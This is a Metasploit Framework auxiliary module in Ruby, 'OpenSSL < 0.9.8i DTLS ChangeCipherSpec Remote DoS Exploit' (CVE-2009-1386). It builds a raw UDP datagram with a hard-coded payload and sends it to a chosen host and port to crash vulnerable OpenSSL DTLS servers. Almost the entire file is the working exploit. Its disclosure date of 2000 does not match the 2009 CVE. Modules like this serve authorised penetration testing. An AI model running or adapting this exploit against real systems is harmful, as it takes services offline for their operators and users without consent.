metasploit-framework/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb

67 lines
1.8 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'racket'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Msf::Exploit::Capture
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit',
'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
ChangeCipherspec Datagram before a ClientHello.
},
'Author' => ['TheLightCosine <thelightcosine@gmail.com>'],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-1386' ],
[ 'OSVDB', '55073'],
],
'DisclosureDate' => 'Apr 26 2000'))
deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
end
def run
print_status("Creating DTLS ChangeCipherSpec Datagram...")
open_pcap
n = Racket::Racket.new
n.layers[3] = Racket::L3::IPv4.new
n.layers[3].dst_ip = datastore['RHOST']
n.layers[3].version = 4
n.layers[3].hlen = 0x5 #
n.layers[3].ttl = 44
n.layers[3].protocol = 0x11
n.layers[4] = Racket::L4::UDP.new
n.layers[4].src_port = 34060
n.layers[4].dst_port = Integer(datastore['RPORT'])
n.layers[4].payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"
n.layers[4].fix!(n.layers[3].src_ip, n.layers[3].dst_ip)
buff = n.pack
print_status("Sending Datagram to target...")
capture_sendto(buff, '255.255.255.255')
close_pcap
end
end